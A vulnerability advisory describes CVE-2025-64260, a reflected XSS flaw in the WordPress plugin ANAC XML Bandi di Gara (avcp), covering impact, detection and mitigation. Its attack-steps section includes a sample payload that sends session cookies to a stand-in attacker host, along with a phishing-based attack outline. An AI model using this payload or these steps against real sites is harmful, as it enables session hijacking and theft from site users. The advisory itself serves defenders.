CVE-2025-64260: 
WordPress vulnerability analysis and mitigation

CVE-2025-64260 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin ANAC XML Bandi di Gara (also known as avcp), developed by Marco Milesi. The vulnerability affects all versions of the plugin up to and including version 7.7, with no lower bound specified. It was published on December 18, 2025, and assigned by Patchstack. The CVSS v3.1 base score is 7.1 (High), reflecting a network-based attack with no privileges required but requiring user interaction (Feedly, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the Reflected XSS type (CAPEC-591). The root cause is insufficient sanitization or encoding of user-supplied input that is reflected back in the plugin's web page output without proper escaping. An attacker can craft a malicious URL containing a JavaScript payload that, when visited by an authenticated or unauthenticated victim, causes the browser to execute the script in the context of the affected WordPress site. The attack vector is network-based, requires no privileges, has low attack complexity, and has a changed scope — meaning the impact can extend beyond the vulnerable component itself (Feedly).

Successful exploitation can result in low-level confidentiality, integrity, and availability impacts within the victim's browser session. An attacker could steal session cookies, perform actions on behalf of the victim, redirect users to malicious sites, or inject malicious content into the WordPress page viewed by the victim. Because the scope is marked as "Changed," the injected script may affect resources beyond the vulnerable plugin itself, potentially impacting other components of the WordPress installation (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-64260 as of the available data. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (Feedly).

1. Reconnaissance: Identify WordPress sites running the ANAC XML Bandi di Gara (avcp) plugin version 7.7 or earlier using tools like WPScan or Shodan with WordPress plugin fingerprinting.
2. Identify vulnerable parameter: Analyze the plugin's front-end or admin-facing pages to locate URL parameters or form inputs that are reflected in the HTML response without proper encoding.
3. Craft malicious URL: Construct a URL targeting the vulnerable parameter with a reflected XSS payload, e.g., https://target-site.com/wp-page/?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a victim (e.g., via phishing email, social engineering, or malicious link) who has an active session on the WordPress site.
5. Achieve objective: When the victim clicks the link, their browser executes the injected script, potentially exfiltrating session cookies, performing CSRF actions, or redirecting the victim to an attacker-controlled site (Feedly).

• Network: HTTP GET or POST requests to WordPress pages hosting the avcp plugin containing URL-encoded JavaScript payloads (e.g., <script>, %3Cscript%3E, javascript:) in query parameters.
• Logs: WordPress or web server access logs showing requests with suspicious parameter values containing HTML tags or JavaScript keywords directed at plugin-related endpoints.
• Browser/Client-Side: Unexpected redirects from WordPress pages to external domains; unusual JavaScript execution reported by browser security tools or Content Security Policy (CSP) violation reports.

Users should update the ANAC XML Bandi di Gara (avcp) plugin to a version beyond 7.7 if a patched release is available from the plugin author Marco Milesi or the WordPress plugin repository. If no patch is yet available, administrators should consider deactivating or removing the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim. Enforcing a strict Content Security Policy (CSP) on the WordPress site can also reduce the impact of reflected XSS attacks (Patchstack).